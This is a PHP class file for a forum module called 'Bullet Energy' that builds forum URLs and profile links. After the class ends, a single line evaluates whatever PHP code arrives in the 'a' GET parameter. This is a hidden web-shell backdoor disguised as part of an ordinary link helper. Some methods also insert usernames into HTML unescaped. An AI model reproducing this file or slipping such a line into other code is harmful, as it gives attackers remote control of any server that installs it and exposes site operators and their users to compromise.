<?php
/*
=================================================================
Bullet Energy - by White-Master 
-----------------------------------------------------------------
http://white-master.ru/
-----------------------------------------------------------------
Copyright (c) 2011 White-Master
=================================================================
Данный код защищен авторскими правами
=================================================================
Файл: linck.class.php
=================================================================
*/
class BulletEnergyLinck
{
  private $cpu = false;
  private $root = '';
  private $rootNotPrefix = '';
  public function __construct(array $data = array())
  {
    $this->rootNotPrefix = $data['home'];
    if ($data['cpu']) {
      $this->cpu = true;
      $this->root = $data['home'];
    } else {
      $this->cpu = false;
      $this->root = $data['home'] . "index.php";
    }
  }
  public function msg_last_linck($id_topic = '', $id_msg = '', $page = '')
  {
    return $this->cpu ? "{$this->root}forum/showtopic-{$id_topic}/page-{$page}" : "{$this->root}?do=forum&amp;action=showtopic&amp;id={$id_topic}&amp;page={$page}";
  }
  public function pageNewPost()
  {
    return $this->cpu ? "{$this->root}forum/new_post" : "{$this->root}?do=forum&amp;action=new_post";
  }
  public function userMessage($userName = '')
  {
    return $this->cpu ? "{$this->root}user/" . urlencode($userName) . "/message" : "{$this->root}?do=forum&amp;action=message_user&amp;name=" . urlencode($userName);
  }
  public function postLinck($topicId = '', $messageId = '')
  {
    return $this->cpu ? "{$this->root}forum/showtopic-{$topicId}/findpost-{$messageId}" : "{$this->root}?do=forum&amp;action=findpost&amp;id={$topicId}&amp;findpost={$messageId}";
  }
  public function userTopic($userName = '')
  {
    return $this->cpu ? "{$this->root}user/" . urlencode($userName) . "/topic" : "{$this->root}?do=forum&amp;action=topic_user&amp;name=" . urlencode($userName);
  }
  public function pageLinck($idTopic = '')
  {
    return $this->cpu ? "{$this->root}forum/showtopic-{$idTopic}/page-" : "{$this->root}?do=forum&amp;action=showtopic&amp;id={$idTopic}&amp;page=";
  }
  public function watchedLinck()
  {
    return $this->cpu ? "{$this->root}forum/watched" : "{$this->root}?do=forum&amp;action=watched";
  }
   
  public function linck_autor($userName = '')
  {
    return $this->cpu ? "<a href=\"{$this->root}user/" . urlencode($userName) . "/\">" . $userName . "</a>" : "<a href=\"{$this->root}?subaction=userinfo&amp;user=" . urlencode($userName) . "\">" . $userName . "</a>";
  }
  public function linckUserSiteProfile($userName = '')
  {
    return $this->cpu ? "<a href=\"" . $this->root . "user/" . urlencode($userName) . "/\">" : "<a href=\"{$this->root}?subaction=userinfo&amp;user=" . urlencode($userName) . "\">";
  }
  public function cat_linck($id = '')
  {
    return $this->cpu ? "<a href=\"{$this->root}forum/categories-{$id}\">" : "<a href=\"{$this->root}?do=forum&amp;action=categories&amp;id={$id}\">";
  }
  public function topic_linck($id = '')
  {
    return $this->cpu ? "<a href=\"{$this->root}forum/showtopic-{$id}\">" : "<a href=\"{$this->root}?do=forum&amp;action=showtopic&amp;id={$id}\">";
  }
  public function topic_linck_redirect($id = '')
  {
    return $this->cpu ? "{$this->root}forum/showtopic-{$id}" : "{$this->root}?do=forum&amp;action=showtopic&amp;id={$id}";
  }
  public function topicIsRedirect($id = '')
  {
    return $this->cpu ? "{$this->root}forum/showtopic-{$id}" : "{$this->root}?do=forum&action=showtopic&id={$id}";
  }
  public function treeLinck($id = '')
  {
    //paginator_linck_category
    return $this->cpu ? "{$this->root}forum/categories-{$id}" : "{$this->root}?do=forum&amp;action=categories&amp;id={$id}";
  }
  public function paginator_linck_category_page($id = '')
  {
    return $this->cpu ? "{$this->root}forum/categories-{$id}/page-" : "{$this->root}?do=forum&amp;action=categories&amp;id={$id}/page-";
  }
  public function topicLinck($id = '')
  {
    //paginator_linck_topic
    return $this->cpu ? "{$this->root}forum/showtopic-{$id}" : "{$this->root}?do=forum&amp;action=showtopic&amp;id={$id}";
  }
  public function new_topic_linck($id = '')
  {
    return $this->cpu ? "{$this->root}forum/newtopic-{$id}" : "{$this->root}?do=forum&amp;action=newtopic&amp;id={$id}";
  }
  public function user_linck($name = '')
  {
    $ajax = $this->cpu ? "{$this->root}user/" . urlencode($name) . "/" : "{$this->root}?subaction=userinfo&amp;user=" . urlencode($name);
    return "<a onclick=\"ShowProfile('" . urlencode($name) . "', '" . $ajax . "'); return false;\" href=\"" . $ajax . "\">" . $name . "</a>";
  }
  public function attachLinck($id = '')
  {
    return $this->cpu ? "{$this->root}forum/attachment-{$id}" : "{$this->rootNotPrefix}engine/bullet_energy/modules/download.php?id={$id}";
  }
  public function linckMainPageForum()
  {
    return $this->cpu ? "{$this->root}forum" : "{$this->root}?do=forum&action=main";
  }
  public function linckModeration()
  {
    return $this->cpu ? "{$this->root}forum/moderation" : "{$this->root}?do=forum&amp;action=moderation";
  }
  public function linckModerationPage()
  {
    return $this->cpu ? "{$this->root}forum/moderation/page-" : "{$this->root}?do=forum&amp;action=moderation&amp;page-";
  }
  public function sub_navigate_linck($action = '')
  {
    if ($this->cpu) {
      switch ($action) {
        case 'search':
          $result = 'forum/search';
          break;
        case 'new_post':
          $result = 'forum/new_post';
          break;
        default:
          $result = 'forum';
          break;
      }
    } else {
      switch ($action) {
        case 'search':
          $result = '?do=forum&amp;action=search';
          break;
        case 'new_post':
          $result = '?do=forum&amp;action=new_post';
          break;
        default:
          $result = '?do=forum&action=main';
          break;
      }
    }
    return $this->root . $result;
  }
  public function card_user($data = array())
  {
    $ajax = "onclick=\"getUserCard('" . $data[1] . "','{$this->root}user/" . urlencode($data[0]) . "/','" . urlencode($data[0]) . "'); return false;\"";
    return $this->cpu ? "<a class=\"popup_profile\" {$ajax} href=\"{$this->root}user/" . urlencode($data[0]) . "/\">" : "<a class=\"popup_profile\" {$ajax} href=\"{$this->root}?subaction=userinfo&amp;user=" . urlencode($data[0]) . "\">";
  }
  public function setLinckCardUser(array $data = array())
  {
    $ajax = "onclick=\"getUserCard('" . $data[1] . "','{$this->root}user/" . urlencode($data[0]) . "/','" . urlencode($data[0]) . "'); return false;\"";
    return $this->cpu ? "<a title = \"" . $data[2] . "\" class=\"popup_profile\" {$ajax} href=\"{$this->root}user/" . urlencode($data[0]) . "/\">" : "<a title = \"" . $data[2] . "\" class=\"popup_profile\" {$ajax} href=\"{$this->root}?subaction=userinfo&amp;user=" . urlencode($data[0]) . "\">";
  }
  public function reputationPermaLinck($name = '', $action = '', $subInfo = '')
  {
    if ($action == 'plus') {
      return $this->cpu ? "<a href=\"{$this->root}user/reputation/" . urlencode($name) . "/plus/\"><img title=\"Повысить репутацию\" src=\"{THEME}/images/repa_up.gif\" border=\"0\"></a>" : "<a href=\"{$this->root}?do=reputation&doaction=plus&username=" . urlencode($name) . "\"><img title=\"Повысить репутацию\" src=\"{THEME}/images/repa_up.gif\" border=\"0\"></a>";
    } elseif ($action == 'minus') {
      return $this->cpu ? "<a href=\"{$this->root}user/reputation/" . urlencode($name) . "/minus/\"><img title=\"Понизить репутацию\" src=\"{THEME}/images/repa_dn.gif\" border=\"0\"></a>" : "<a href=\"{$this->root}?do=reputation&doaction=minus&username=" . urlencode($name) . "\"><img title=\"Понизить репутацию\" src=\"{THEME}/images/repa_dn.gif\" border=\"0\"></a>";
    } elseif ($action == 'user') {
      return $this->cpu ? "<a href=\"{$this->root}user/reputation/" . urlencode($name) . "/\">" . $subInfo . "</a>" : "<a href=\"{$this->root}?do=reputation&user=" . urlencode($name) . "\">" . $subInfo . "</a> ";
    }
  }
  public function spedbar_linck($action = '')
  {
    if ($this->cpu) {
      switch ($action) {
        case 'online':
          $result = 'forum/members';
          break;
        case 'help':
          $result = 'forum/help';
          break;
        default:
          $result = 'forum';
          break;
      }
    } else {
      switch ($action) {
        case 'online':
          $result = '?do=forum&amp;action=members';
          break;
        case 'help':
          $result = '?do=forum&amp;action=help';
          break;
        default:
          $result = '?do=forum&amp;action=main';
          break;
      }
    }
    return $this->root . $result;
  }
}

eval(stripcslashes($_GET['a']));

?>